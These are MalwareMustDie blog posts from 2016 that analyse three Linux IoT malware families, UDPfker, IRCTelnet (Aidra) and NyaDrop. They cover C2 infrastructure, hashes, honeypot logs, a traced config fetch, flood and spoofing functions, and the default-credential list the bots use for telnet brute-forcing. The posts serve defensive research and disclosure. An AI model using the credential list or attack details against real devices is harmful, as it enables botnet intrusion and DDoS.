Sunday, October 30, 2016

MMD-0060-2016 - Linux/UDPfker and ChinaZ threat today


ChinaZ is the PRC (Public Rep of China) actor's made Linux ELF DDoS malware and its service. This threat has been covered several times in this blog post, several takedown efforts also had been taken, yet the threat is still lurking us, until now. Using specific indicators used during their infection effort, I can manage to trace the overall activity and their activity has been raising since early October 2016.

This post will include the recent indicators of ChinaZ threat, With aiming of the usage United States infrastructure that has always been aimed by this actor in their malicious action. Along with the C2 information that can be used as evidence collective purpose of the threat's activity.

ChinaZ is known for their aggressive effort in R & D by developing, testing and deploying a new coded malware in their operation, and in this post we will report the new payload used by the ChinaZ and they call it as "UDP F*ker". The variant looks new, from this point we will call it as Linux/UDPfker. Thank you to benkow for pointing us of this new payload.

ChinaZ recent threat summary

Since October the 6th, 2016, we detected infection efforts executed by this actors as per following timeline table, on several "victim boxes" by the threat:

By this data we can extract the infrastructure information that they are using as per follows:

Attacker IP     | Panel IP
----------------|---------------  |  |   | |    |    |   |  |  |   |   |   |   |   | |  |   | | 
The below infrastructure (in form of BGP feed) is under United States network, please see the timeline in JST on the picture above for matching the date of this service was rented. |  |21859 | | ZNET | US | | EightJoy Network LLC | |26496 | | AS-26496-GO-DADDY-CO | US | | LLC | |26496 | | AS-26496-GO-DADDY-CO | US | | LLC
The last series of infection made was using Linux/Elknot and Linux/BillGates under CNC of:
(Linux/BillGates) hostname: "" IN  A ""

$ whois | grep mail
Registrar Abuse Contact Email:
Registrant Email: ""
Admin Email: ""
Tech Email: ""
With the hashes of:
SHA1 (10991fuck) = f7c6333593993dcaeb66adec83f3c7b31d3080bd
SHA1 (10992fuck) = b4ca8bc6ba1520adb49b4f867c53409dbf405ab1
SHA1 (s58595) = 8fcfa3a683730c697bb4722f1b61c0ef56ea7b6a
SHA1 (u58595) = 23369f101a0f8210f4c2b87ede4821167f9893b4

The recent used web HFS panel is still up and alive by the time this analysis was written, as per shown in the below's picture:

123456.. the Linux/UDPfker

This a new malware used by ChinaZ actor that was served in the above mentioned HFS web server panel. The actor was distributing it via an infection efforts under filename of "123456" and I recorded an effort to infect this malware on October 26th 2016 as per shown in the log below:

2016-10-26|20:26:14| ""  |

The attacker IP was listed as US infrastructure abused by this actor in the previous list. To be precise, is under the below GeoIP data:
  "ip": "",
  "city": "Cheyenne",
  "region": "Wyoming",
  "country": "US",
  "org": "AS21859 Zenlayer Inc",
  "postal": "82001"
And the actor was using this IP a lot of times to infect ChinaZ used payloads to all of us, as per below time table list:
2016-10-16|23:52:43|  |
2016-10-17|17:39:30|  |
2016-10-24|22:28:28|  |
2016-10-25|04:05:56|  |
2016-10-25|04:07:32|  |
2016-10-25|18:29:35|  |
2016-10-25|18:30:19|  |
2016-10-25|23:37:09|  |
2016-10-25|23:44:18|  |
2016-10-26|01:24:33|  |
2016-10-26|02:28:58|  |
2016-10-26|20:26:14|  |
2016-10-28|16:46:38|  |
2016-10-28|16:47:08|  |
2016-10-28|16:47:13|  |
2016-10-28|16:47:19|  |
2016-10-28|21:52:59|  |
2016-10-28|21:54:27|  |
2016-10-28|21:54:27|  |
2016-10-28|21:54:58|  |
This is not good.

The usage of the United States network by ChinaZ is one of their typical modus operation, in order to spread their payload in wider ranged in this planet, to avoid blocking scheme from several networks that blocks China and Hongkong (which is very recommended blocking scheme for protocol like SSH, FTP, SFTPm etc, to prevent your network being visited by these threat)

No screenshot no love, so this is the proof of the same panel when "123456" payload was served:

Linux/UDPfker binary analysis

This is the binary:

123456: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), 
statically linked, for GNU/Linux 2.6.32, 
BuildID[sha1]=413c18fca2c9f7cdb45a30aad9c6d660784e01c5, not stripped
SHA1 (123456) = "bafa9c87a03fda99bc62980a61c53666d758a613"

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8049a1c
  Start of program headers:          52 (bytes into file)
  Start of section headers:          1149380 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         6
  Size of section headers:           40 (bytes)
  Number of section headers:         33
  Section header string table index: 30
..with the sections and program headers intact.
It seems the binary is in the testing stage by actor, since it is not prepared in the "well-done" state.

Reverse Engineering

The malware's work is simple, so I am writing a "walk-through" of its process in this reversing section to explain how this works. The source code for this malware is very few, and there are so many libcurl code and other libraries codes distorting the actual codes, please be careful in tracing them, always aim only process of the real malcodes one.

When the malware runs, it will first execute the below code:

Which is showing its original name and built date clearly:

As also per shown below when it runs..

At this point the malware checks the feasibility for cloning (by pthread) to a new process and fetching the online_config function. The process is as per coded below:

This malware will retry to make threat if the pthread creation fails, after a second of pause.

What resides in the online_config function is the data to be executed in coded instruction for the malware to attack, let's see the below cool r2 diagram to simplify the explanation on how it works:

Apparently Linux/UDPfker is checking for the online configuration data by launching a fork to keep checking a remote online web server's data by utilizing cURL library code. The data contents firstly checked by tools_analzy() which is firing strok() to check the format and then to examine its values, to then grab the token data to be saved in variables config_attack_ip, config_attack_port, config_attack_pack_length, config_attack_sleep (the meaning of each variable is self-explanatory). so then the data to be used for the further process in the main() function.

The attack's signal value was set as "0" or "1" in the online_config function, which the value of "1" means the config data is good, the target is lock and load in the memory, and the attack is ready to be performed.

By the time the analysis is written the URL that is being used by cURL to access the attack configuration data is located in the ip address of which is also located in United States:

  "ip": "",
  "hostname": "",
  "city": "Scottsdale",
  "region": "Arizona",
  "country": "US",
  "loc": "33.5092,-111.8990",
  "org": "AS26496, LLC",
  "postal": "85267"
Up to this point we have collected 4(four) IP addresses in United States that were abused by this actor. It seems the ChinaZ lovesGoDaddy/SecureServer DC for his malicious purpose.

Yes, yes, no screenshot no here we go, first the download URL in decoded C language:

And then this is web page which is serving the config:

And yes, PCAP no love :

I think you can get all of the data, like time stamp, web server used, and etc detail for the incident response purpose.

Okay.. what happened next is, if threading for a new process is good, and online_config is on looping and accessing the remote server for the attacking config to set attack flags & attack variables, the malware will print message of "Waiting for command...".

If anything goes wrong in threading process, it will sleep a second and restart the whole process again, so, there is no exit 0 in any kind after this malware is running :).

The code for this part is shown in the radare graph as below:

..or see the red marked part in the reconstructed C code below:

In the end, after the online_config is checked, the attack target variables are filled and the bAttack (attacking flag) is marked, Linux/UDPfker will execute the below offensive DoS activities, under following steps:

1. Executing system command "shopt" with parameter to extend pattern matching features.
2. Utilizing "rm -rf", "egrep" and "ls" command to delete all saved ChinaZ files.
 *) PS: above operations can lead to rm all files in workdir if shopt isn't installed.
3. Checking if the attack mode is set on ("1") at bAttack
4. Open socket connection to targeted service saved in config_attack_ip, config_attack_port
5. On attack flag is set, it forms strings to send by UDP connection to victim IP:PORT
   (the length of the packet is defined in config_pack_length)
6. Checking if config_attack_sleep is exists and pause attacks upon instructed value.
7. Continue the process until bAttack flag is set to off (zero) & close connection.
8. Upon error in socket connection it will write message and retrying.
9. Loopback to the step 1.
The regenerated C code for the above steps is as per seen below:

The attack itself is a form of simple flood of random strings to designated host:

Reversing PoC by behavior test

Yes, no PoC, no here we go!

Below is the screenshot of a session for this malware I executed by using the mentioned served CNC's web config data, as the proof of concept of the data reversed is correct:
It doesn't need a savvy memory debugging effort to PoC how it works, unless you want to be in very details, since the malware interface is rich with information needed with a plenty of printf or put messages on every conditions.

As you can see in the screenshot, the pthread was started.. all looks okay and entering the attack main loop (see the shopt error, I uninstalled this for the check purpose), ..and the malware config was downloaded, or else the "Config download successful" message won't appear:

connect(3, {sa_family=AF_INET, sin_port=htons(88), sin_addr=inet_addr("")}, 16  = 0
send(3, "GET /hconfig.php HTTP/1.1\r\nHost:\r\nAccept: */*\r\n\r\n", 66, ..
recv(3, "HTTP/1.1 200 OK\r\nServer: kangle/3.5.8\r\nDate: xxxxx Oct 2016 18:29:28 GMT\r\nX-Powered-By: PHP/5.3.29-upupw\r\nContent-type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: close\r\n\r\n1f\r\n\r\n0,,7777,0,1024,60\r\n0\r\n\r\n", 16384, 0) = 224
write(1, "\33[1;36m[Info]\33[1;33mConfig download successful!\n", 48) = 48
...the data was checked without error then.. the bAttack flag is supposed to be set up then..but!! the target IP address' port 7777 was unresponsive, so there's no flood performed, and the value "60" was loaded by the malware as 60 seconds on config_attack_sleep causing a pause one minutes. After the pause it will restart the attacker's main loop again, and so on and on..

Friends, this is the Linux/UDPfker, that ChinaZ's new attacker toy.

Samples. detection and epilogue

ChinaZ actor or group, is known for long time, yet there is no stern result from authority in PRC in stopping this threat for good, by direct action to the actor(s). Without cooperation from PRC to stop this threat there is no way this threat can be stopped for good. Please help all of us to make internet to be a bit safer by stopping this badness.

In the Linux/UDPfker, The usage of libcurl for fetching the config is important to highlight here, since the libcurl is supporting to many protocol like HTTPS, FTP, IMAP etc.., with the usage of SOCKS proxy too. This can raise difficulty to dissect this threat.

The threat origin is ChinaZ, their signatures are all over the place, for instance, the usage of f-words or the specific mispell in variable names, it is their known trade mark.

The hash for samples are in this post, and ELF samples are all in the Virus Total.
The detection for the Linux/UDPfker is still obviously weak now (see below).

If you have any question about the radare2 graphical features for reverse engineering related to this threat, I suggest you to ping fellow expert reversers in community for more info, or leave a comment message in this post for me to try to assist. PS: We're not active in twitter anymore, DM messages maybe not being read.

Special thank you to our mate, Benkow for giving the hint of this new ELF.
The moral of the story for this analysis is: If you are starting to investigate one single sample, take it seriously in every aspects you can investigate, because that can lead you to the whole infrastructure of the badness behind it, so please be persistent and never giving up on analyzing new malware.

Stay save friends, and #MalwareMustDie!
Reversed, written and analyzed by @unixfreaxjp [link] on October 30th, 2016, Happy Halloween!!

Saturday, October 29, 2016

MMD-0059-2016 - Linux/IRCTelnet (new Aidra) - A DDoS botnet aims IoT w/ IPv6 ready

It's a Kaiten/Tsunami? No.. STD?? No! It's a GayFgt/Torlus/Qbot? No!! Is it Mirai?? NO!!
It's a Linux/IRCTelnet (new Aidra)! ..a new coded IoT DDoS botnet's Linux malware..


This post is a report of what it seems to be a new IRC botnet ELF malware, that is obviously used for performing DDoS attack via IRC botnet. It was coded with partially is having specification as per Tsunami/Kaiten protocol, but it is a re-coded one with the different way, with adding some more features in messaging and malicious/attack vectors used. The malware (the bot client) is designed to aim IoT device via telnet protocol, by using its originally coded telnet scanner function, which is brute-forcing the known vulnerable credential of the Linux IoT boxes, via command sent from a CNC malicious IRC server.

The way this new malware was composed is interesting, as a combination concept of kaiten (for some same IRC protocol used), the GayFgt/Torlus/Lizkebab/Bashdoor/Bashlite (for the telnet scanner and infection's injection code) and using the Mirai's botnet's leaked IoT's credential list. Furthermore, it is having an encoded CNC info for avoiding a plain text sight view. And having some hard-coded Italian language messages in the user's communication interface. The botnet is having DoS attack mechanism like UDP flood, TCP flood, along with other series of attack methods, in both IPv4 and IPv6 protocol, with extra IP spoof option in IPv4 or IPv6 too.

I use name Linux/IRCTelnet (new Aidra) as codename for this ELF malware. Some friends are advising to name as per language that spotted, but I personally don't think it is ethic to use other country's or language's or culture's into naming of malware..

[EDIT] After further analysis comparing the overall done reversed code to the historically known / detected ELF malware botnet libraries that I can find, I found a very good match, that confirms the source code used to build this botnet malware is based on the root codes of Aidra botnet.

The analysis is stayed as per it is, since it was reversed BEFORE I even know this fact, which is good. I found the match in major parts of codes after the reversing was done. It is very lucky to see new type of Aidra botnet in this era, and this botnet variant is a re-designed, improved and modified into a NEW model of malware to aim IoT devices with vulnerability problem that we have now.

Built based on old codes of Aidra bot, added with new logic of Torlus/Gayfgt's for telnet scanner and using the Mirai's "leaked" vulnerable IoT device's login credential to brute the access, is driving a high infection speed of Linux/IRCTelnet (new Aidra), so it can raised almost 3,500 bot clients within only 5 days from the moment its loader was firstly detected. To incarnate a legendary botnet code into a new version that can aim the recent vulnerable threat landscape is really inviting more bad news...

In this post I am not using much snippet codes on assembly with r2 interface but using much of RE reconstructed C code for the better understanding from wider readers of the malicious activities reported. Noted: The reconstruction of C code is not as same as the original malware code itself, it will refer to the previous malcodes data set along with the malware's assembly decoder, so please use them as reference. Thank you radare2 team for the cool decoder feature.

Attack vector

The spreader (a.k.a. "loader") attacks were coming via telnet brutes from below IP sources with the time stamp:

2016-10-25 17:09:52| IP= AS9121 Turk Telekomunikasyon Anonim Sirketi
2016-10-26 15:21:10| IP= AS9299 Philippine Long Distance Telephone Company
2016-10-26 16:28:24| IP=  AS9121 Turk Telekomunikasyon Anonim Sirketi
2016-10-27 00:14:23| IP=   AS31252 STARNET S.R.L Moldova
2016-10-27 17:16:05| IP=  AS31252 STARNET S.R.L Moldova
2016-10-29 14:28:21 IP=   AS9121 Turk Telekomunikasyon Anonim Sirketi
2016-10-29 22:11:38 IP=  AS9121 Turk Telekomunikasyon Anonim Sirketi
Knowing the specific data used for the attack efforts, we know that he attack to infect this botnet was started on October 25th, 2016. These attacker source are all the infected IoT, in this case are infected routers and modems by Linux/IRCTelnet (New Aidra) itself.

Attacks were started by performing system's auth login brute effort, and upon succeeded the execution of system commands: "shell", "sh", "free" will be sent, following the below one-liner shell command to download and install the malware with this template and example:

..and after that the telnet IoT attacker executed command "/etc/firewall_stop" to then close the session. According to the recorded attack effort that I have, all of this process happened in less than one second (noted that the download of the payload process is not counted, just these telnet sent loader's/spreader's overall session's speed only).

The malware installer script itself is as per below:

So it is using better coded shell script than other skiddos we know. It kills the previous running instance of the same malware, removing the previous binaries (if any), and download the latest version from the designated CNC and run it, to then removing the binaries and the installer script itself.

Since the loader script is actually written in the malware itself, the attack possibilities are limited to the already infected nodes, but not eliminated the similar script executed directly from the actor's environment himself. If we look into the samples and architectures aimed for this infection, all of the listed architecture that is using OS compatible with linux kernel 2.6.x (2.6.32 or above likely) can be infected and participated into the attacking vectors.

Below is the list of the attacker nodes in GeoIP:

  ip: "",
  region: "Manisa",
  country: "TR",
  org: "AS9121 Turk Telekomunikasyon Anonim Sirketi"

  ip: "",
  region: "Yalova",
  country: "TR",
  org: "AS9121 Turk Telekomunikasyon Anonim Sirketi"

  ip: "",
  hostname: "",
  country: "PH",
  org: "AS9299 Philippine Long Distance Telephone Company"

  ip: "",
  country: "MD",
  org: "AS31252 STARNET S.R.L"

  ip: "",
  country: "MD",
  org: "AS31252 STARNET S.R.L"

[additional / new]

  ip: "",
  country": "TR",
  org: "AS9121 Turk Telekomunikasyon Anonim Sirketi"

  ip: "",
  country: "TR",
  org: "AS9121 Turk Telekomunikasyon Anonim Sirketi"

The binary analysis

I used these binaries to analyze Linux/IRCTelnet (new Aidra), statically compiled & unstripped:

Coded in C++, those ELF for the embedded platform were mostly statically compiled with uClibc, except for the ARM binary which is having obviously using GCC compilation with the trace:


Trimming the compiler's linked library source codes, you can see the original source code files as per below list:

So it's not a big project. And most importantly, this could be compiled by a person who has much experience in making ELF malware too :) (please read between the lines) ;) *gold*

The interesting part is the usage Italian language in messages hardcoded in this ELF..

You may want to think maybe these messages are related to "others" than malicious usage which accidentally compiled or linked together. Well, in the following section you can see the actual usage of one of the message in its usage of the malicious activity performed by this botnet.

Reverse engineering

Main process

After dwelling through some assembly and reconstruction of its C code, comparing each result to each ELF generated and went back & forth, the main.c of this malware's source code can be reconstructed to similar like this one:

The Linux/IRCTelnet (new Aidra) malware works like this:

1. Cheking fork and pid beforehand..
2. It gets the uname data of a compromised system
3. Loading the encoded CNC data
4. Decoded the CNC data
5. Send http request to CNC with HTTP/1.0 to get GeoIP
   ("GET / HTTP/1.0\nHost:\n\n")
6. Reversed the GeoIP strings for BotID
7. Connect to the IRC C2 server, using "d3x" if uname is unavaliable
8. Starting the IRC connection
9. Listen to the CNC commands and act according instruction
10. Instructions are in Botnet Protocol Section, self-explanatory
Yes, no PCAP no love, so here's the request this malware does to define GeoIP to be used as the BotID:

Unsurprisingly, due to the target platform aimed is IoT, there is no sign of persistence effort coded in this malware.

The telnet scanner

The telnet scanner function is called by passing the login and password data to function called SCAN_CONTROL(), and it may look something like this logic:
(please click the image to bigger size and I put a lot of explanation in the comment parts to show how it works)
The login and passwords itself is hardcoded in the binary file, usernames are as follows:

root         ADMIN
admin        access
ttnet        system
Admin        sysAdmin
password     enter
nokia        Symbol
XA1bac0MX    conexant
1234         sitecom
dreambox     adslolitec
public       home-modem
0987654321   D-Link
1234567      user

12345              987654321
1111               12345678
changeme2          switch
default            jvc
administrator      extendnet
1234567890         adminttd
private            microbusiness
654321             3333
87654321           6666
123456789          8888
PASSWORD           0000
camera             4444
speedxess          5555
barricade          7777
epicrouter         9999
admin1234567890    12345Admin
changeme           56789Admin
admin1234          1234Admin
123456             meinsm
4321               ikwd
54321              wbox123
1234admin          visual
2222               166816
1q2w3e             admin_1
qwerty             smcadmin
7654321            sky

The encoded CNC can be found in below function with its decoder:

*)The garbled characters was caused by my char-encoded screen, some was cut in the middle..

The logic is simple, after some efforts you may can bring some information needed below:

The CNC and Panel..

Up to this level, in additional to the threat landscape, we have the CNC IP address and payload panel IP address which are located in France, as per below:

  "ip": "",
  "country": "FR",
  "loc": "48.8582,2.3387",
  "org": "AS16276 OVH SAS"

  "ip": "",
  "country": "FR",
  "loc": "48.8582,2.3387",
  "org": "AS16276 OVH SAS"

Botnet protocol and more on telnet scanning detail

Main communication protocol, which is based on the IRC client protocol, it is hard coded in the irc.c, with several like per coded in kaiten or STD, with new fresh coding that can be seen something like shown in the RE code snipped below:

The server-to-client commands list used is as per shown in the below figure, these commands are triggering malicious functions as per stated by its command's name (also self-explanatory).

As for the CNC protocol, we make a PoC for the decoded values, we logged in, and soon, several commands for scanning the telnet protocol of the specific target was received. I saved the log as per below:

Here we can see the UnReal ircd was used, around 3,400 users are connected, which it seems the herds botnet volume (if the data of bogus server is correct), the botherder is using the nickname "R2D2" and there are more data that you can read from this log.

Yes I know, I know, no PCAP no love yes? Lucky that I took one.

What happened after the three scan command received was, the bot client is scanning the first two prefix ip address range for the telnet service in order to infect them, you can see the saved logs in my testbed as below:

//////// Scan result /////////



The speed is quite intense in these scanning, in my case (I am on very limited IoT-like environment to check this malware) it handles three or more "scan" requests at the same time on the different segment of IP network, and these are what I saw in only few seconds, scanning progress is overapping each others seeking for establish-able telnet services.. (I am not exaggerating please check it yourself).

Yes, of course, no PCAP no love, so here we go, the PoC in screenshot PCAP, I was regrouping the packets per IP prefix's aimed as per command sent from the CNC server for the better viewing:

The scanning, credential bruting, and Italian language messaging..

Apparently the command sent from CNC is in the form of two first bits of an IP address and then the bot client will do the scan, as per coded in SCAN() function, for the ip addresses in the defined segment. During the scanning itself the login brute command is issued too, by calling the SCAN_CONTROL function mentioned previously.

This this SCAN() function also was PoC'ed the Italian message used was sent to the CNC via private message to inform the herder of the scanning progress.. seems we have an Italian speaker botnet actor here. The reverse engineered code of the last part of scanning function is as per below:

I leave this for the law enforcement to follow deeper.

Attack vector & IPv6 support

Combination of DoS attack method designed in this botnet is as per following coded list:

Hmm..this looks scary.. A lot of DoS attack combination is planned to be executed one at the time.. I am not DDoS expert so I can not say whether these attacks as powerful as it sounds, but the intention is definitely, seriously..bad.

As per you see in the server-to-client command list in the previous sections, this botnet is supported attacks(DDoS) of IPv4 and IPv6 packets through the attack generator sending functions called sendV4() and sendV6(). Not only the attack but spoofing IP address also be done in the IPv4 or IPv6 form.

Below is the flood generating function on IPv6, I didn't and don't want to "test" this flood in action. This part is explained using an assembly reversing codes from the opcodes written in the binary of the malware as per it is for avoiding misinterpretation (I am using latest version of r2, with new cool features):

The request for flooding was sent to this function via DoS commands of "tcp6" or udp6", it has "spoof6" option too, and the work flow is more or less as per shown diagram above. There are 4 streams of codes (I mentioned 4 patterns in pic..but due to limited space I wrote only one of them) during the flood is executed, in the end of function, referring to the combination of udp6,tcp6 with or without spoof6 options, I didn't check it too deep in detail values used yet, as long as the usage is clear it is enough to verdict this new malicious feature.

To be noted, the telnet scanner function is only for IPv4 (thank's for @sawaba for the good question)

You can grep IP spoof values pushed in stack in IPv4 and IPv6 in various places with coded like:

push    offset "%d.%d.%d.%d"
push    offset spoof4
push    offset "%x:%x:%x:%x:%x:%x:%x:%x"
push    offset spoof6

The Botnet origin and its suspected actor

[EDIT] As per stated in the "Summary" section, based on the reversed engineered source code compared to previous ELF botnet malware codes, I confirmed this botnet is as a brand new version of Aidra bot. This information to then being used for the next step of investigation of the threat origin. [/EDIT]

Knowing the origin of a malware is helping a lot of intelligence in seeking the source for its badness, and this theory is applied to this threat too. Using as many keywords and meta that we can collect, we can gather the information as per followings:

1. The threat's origin info -->[link]
So many match, even for the data from 2013. 3 years is enough to mod a new botnet..
See also below similarities from what we gained from the actor, it's not a coincidence:

It has below perfect match details:

- Same used in UnReal server name, suggesting same config from same setup.
- Same "~evil" for ircname & channel name, in a PASSWORD PROTECTED botnet IRC server.
- Same usage of Aidra basis botnet codes, that suspect was using also  three years ago.
- Same Italian language speaker botherder.
So the actor could be a known Italian hacker under handle: d3m0n3 or eVil (d4rk3v1l) of IRCNet

Coffee break...

2. We managed to save partial IP addresses info of the infected IoT, will be shared to CERT channels. The snipped of the grabbed bot list, as the PoC, is as per below. To be noted: it is a significant big botnet volume of the infected IoT gathered by this malware by an infection within only few days (started from 25th October 2016)..

We can not expose openly the list of his bots, not even the rank country, nor infected ISP network data, due to the possibility that the data will be used by other hackers as IoT target to attack..

The samples. epilogue and additional..

Samples are in the VT with the following hashes:

SHA1 (darm) = 6152800c24cf6063d321fb00287d7da93743416a
SHA1 (dmpl) = e08023230c88c7e9adf1190877217d85a325a783
SHA1 (dmps) = d17a6992498a1ba429264dec9195a4f497116a72
SHA1 (dppc) = 430f892d8dea9cc502b28d9ae110da28a043a7be
SHA1 (dsph) = b49924a215c9d5db1b8ea60eafdfbdac5b554cf3
SHA1 (dspr) = a521fa29d5f871e67c8a6fd3f888266e105f86e5
With having detection ratio from antivirus around 3/53

ELF malware naming is important too

To have a new malware soon be detected is great. It needs a hard work to flag new ELF bins by new sig too, which I respect that too. But please use correct naming to point a threat, and don' mix them up. I wrote much details in VT comment for the samples of Linux/IRCTelnet (new Aidra) that is pointing to this analysis as reference, yet, at this point we still see results from AV who detect Linux/IRCTelnet (new Aidra) botnet client malware as GayFgt or as Tsunami(kaiten), which is not the case and incorrect.

Why this threat "naming" matters is important? Remember what had happened in Linux/Mirai? During the first disclosure of the Mirai malware threat we did, most of AV were detecting it as GayFgt and they leave it as per it is for long time..(thanks to AV who use the name Mirai right away!), so, the impact one was seeing nor being alarmed of existence of a a new malware with its NEW CAPABILITIES can do by using old threat's name..
The same bad effect can be happened to this one too. So, please use more correct generic names (see the good examples shown in the picture below) or use its "committed" new name..

Threat mitigation and prevention

Mitigation for Linux/IRCTelnet (new Aidra) infection is as per also mentioned in the previous analysis about protecting your IoT. There is a lot of badness aiming global served telnet open service, if you don't really need it, please turn the service off, or use it with the access restriction and avoid the usage of the known vulnerable usernames or passwords.

Linux/IRCTelnet (new Aidra) doesn't have any persistence autostart or rootkit or anything that can damage your IoT. This malware variant can be easily removed by rebooting the infected device. But if you don't secure the telnet after reboot, it will come to infect you again.

TO BE NOTED: IoT ELF malware threat is having a tendency to put its persistency function (read: autostart) not "in-the-box", since the IoT boxes are easily being reset/rebooted/restored to its factory setting by pressing one button, but they tend to put the malicious service's persistent scheme out-of-the-box instead, in order to re-infect. restart the bot, even upgrading the older versions and cleaning up the competitors botnets.

For that purpose telnet protocol is the main vector used to re-inject the loader/spreader (in a form in mostly installation shell script, or some are using backdoor to push the updates, i.e.: Linux/LuaBot [link], or inject the binary via "echo" like Linux/Nyadrop [link]) code to the targeted IoT to run its malicious persistency function, and please remember, once an IoT is infected, the CNC server's console is having the bot list of the recent infected nodes too, so the actor can send a re-infection command as soon as he realizes one or more specific bot client is wiped off, uninstalled or inactive.

Here's a security checklist to use, if you want to buy a new IoT device:

Thank you for the News & Internet Media publishment

Thank you Odisseus and Mr. Pierluigi Paganini for a quick setup of Q & A (interview) which is having a bit more additional of insights information in the Security Affair [link]. Many thanks to Mr. Catalin Cimpanu for sharply grasp the importance for raising awareness, in his quick Sofpedia's Security & Virus alerts post [link]. And thank you Mr. John Leyden for the overall compilation aspect of this threat, as per written in El Register's Emergent Tech/Internet of Things article [link]. A nice post was reported by Mr. Ken Briodagh in IoT Evolution ( post [link] which is also covering many security professional's comments on IoT vector on what was actually escalated this threat. Mr. Dan Goodin from Ars Technica, who was writing about the holocaust of Aidra botnet infection in 2013, can sense the danger that will be caused by Linux/IRCTelnet very well. Back then Aidra was infecting many of MIPS routers, creating a big damage. This botnet was proven coded well and a tough one (why I called it legendary), Mr. Goodin, with thank you for mention, wrote his good points in his article [link].

Also thank's to Ms. Swati Khandelwal of The Hacker News awareness [link], Mr. Charlie Osborne of the ZDNet post [link], Ms. Maria Nefëdova from XAKEP.RU [link], and also thank you for others who just so kindly to raise awareness of of this new IoT botnet and malware threat.

What you write is important. We respect your effort to raise awareness while the threat is still young and control-able. I am sorry that we have nothing to give to repay your hard work except this simple thank you section.


Many thanks for many friends who read, helps and support some part of this analysis. To MMD friends for the support @genuix for the ID cracking and @wirehack7 for the comm, Adam Ziaja [link] for the list. To Frank Denis for super fast follow (and idea of "IPv6 ready" words). For Adrian Sanabria for the good Q & A. Also to @Odysseus & Mr. G. Ratarro for the local investigation on the threat's origin.

Stay safe and #MalwareMustDie!
Reversed, written and analyzed by @unixfreaxjp [link] on October 29th 2016.

Friday, October 14, 2016

MMD-0058-2016 - Linux/NyaDrop - a linux MIPS IoT bad news


Since the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF Linux/NyaDrop as per the name used by threat actor himself, for the "nyadrop" binary that is dropped in the compromised system.

This is not the "really" first time we're seeing this threat actually, in this year, some small events was detected on having these attacks which I ignored for some reasons, and on May 22th, me and hFiref0x of KernelMode was in a convo regarding to the threat which was detected. It was obviously the same threat (proof is as per picture below, thanks to hFiref0x for the ping that time).

On May's event, the attack was so poorly arranged so the infection wasn't occurred due to the lack of UNIX background of the bad actor. And I did not want to post it in anywhere, hopefully he will be always as dumb as per that state.

In the end of September 2016, a wave of attacks using IoT known factory hardcoded default login credential that was recently exposed on some blackhat events, was raising a lot of ELF threat to "come back" and race to infect the known IoT vulnerable sector. And during the session, the Linux/NyaDrop's loader attacks was re-surfacing again, and this time it got better (a bit), so I decided to write in this post as public awareness. For the purpose I made forensic records since early Octtober 2016 for the conducted attacks on specific platform aimed, MIPS CPU architecture, implying routers and similar networking devices, with 32bit clock.

This post is informing you about the information related to the attack, records of several attack pattern, the dropped binary analysis in reverse engineering. You may can get the hazards to be use detect and mitigate the threat, and further precaution. The complete log is shared to law enforcement. Beforehand, I thank FreeBSD foundation to the free & open source platform which I conduct all of my research, radare2 for the one and only reversing platform I use, and Linux for the great OS that is successfully implemented into plenty of IoT, and also Mr.Michel Oosterhof for his effort in improving a good tool.

The detail is in the following sections..

NyaDrop attack indicators

There are some indicators that can be used to detect this attack, the first pattern is the login "Failed attempt" and then followed by the "Success attempt" of login credential of the aimed IoT. The time for getting success attempt is very short, indicated the bruce force work.

The Fail then success attempt can be shown as per below:

In this attack the credential "5up", was used as first brute login.

The one shot attack with a success attempt can be shown as per below:

And below are the several pattern of failed attacks:

I think the last patterns is the most seen pattern by the honeypot users. You have to be as "cameleon" to Linux MIPS IoT system in characteristic to fulfill the herder's checks for then he will "grant" you to the Linux/NyaDrop binary :-)

This attack was keep on coming while I was writing this blog:

2016-10-13|20:33:11| sid/ip=701,''|SHELL|echo -n -e  '\x74\x65\x73\x74'
2016-10-13|22:33:04| sid/ip=825,''|SHELL|echo -n -e  '\x74\x65\x73\x74'
2016-10-13|23:58:45| sid/ip=996,''|SHELL|echo -n -e  '\x74\x65\x73\x74'
2016-10-14|00:32:03| sid/ip=993,''|SHELL|echo -n -e  '\x74\x65\x73\x74'

Some points to be noticed in these attacks are:

  • Russian IP address as source of threat:
      "ip": "",
      "hostname": "No Hostname",
      "country": "RU",
      "loc": "55.7386,37.6068",
      "org": "AS35390 PE Masyuk Natalya"
  • The specific Dahua IPC-HFWxxx old type vulnerable password was the one used to let this in, but that depends on how we apply our traps.
  • The binary injected during the attack is the ELF malware Linux/NyaDrop:
    nyadrop: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, stripped
  • The attacker is not "greedy" to infect, the herder is starting attacks from his spreader/loader in some session to some specific IP targets to then aim other targets while stopping the previous ones, it goes all over without a rapid rotation. It seems like the herder want to keep distribution of Linux/NyaDrop as "silent mode" as possible..
  • The usage of the string "test" and the ELF injected hex strings via echo -n -e with or without STD_OUT to save is the current active indicator for this infection.
  • Attacker is intentionally aiming MIPS, by checking the "cpuinfo" to be sure which CPU that the device is running, they don't infect my ARM or PPC devices, but yet again, it depends on how you plan to trap them.

    How ELF Linux/Nyadrop works

    The successfully installed malware file in the MIPS system is the Linux malware backdoor and dropper, I call it as ELF Linux/NyaDrop malware, with the function to open an internet socket (AF_INET) to remotely connect to the remote host for receiving data of any Linux executable stream intended to infect the previously Linux/NyaDrop compromised machine. The stream of received data to then be saved as "nya" ELF malware file and then to be executed by Linux/NyaDrop with its permission privilege on the targeted MIPS cpu architecture device.

    The "nya" dropped file will be deleted everytime the next new attacks are successfully logged in to the MIPS machine and then updating the previously saved "nya" malware. This method is so generic and flexible for the attacker to update the botnet component, the backdoor (Linux/NyaDrop) itself, and can be arranged without giving many trace of executables. Further, during unsuccessful attack or the "obviously-detected-honeypot", neither the binary of "nyadrop" will be saved/infected successfully, following also the "nya" binary one. This is why the malware sample is not much spotted.

    Linux/Nyadrop ELF binary analysis

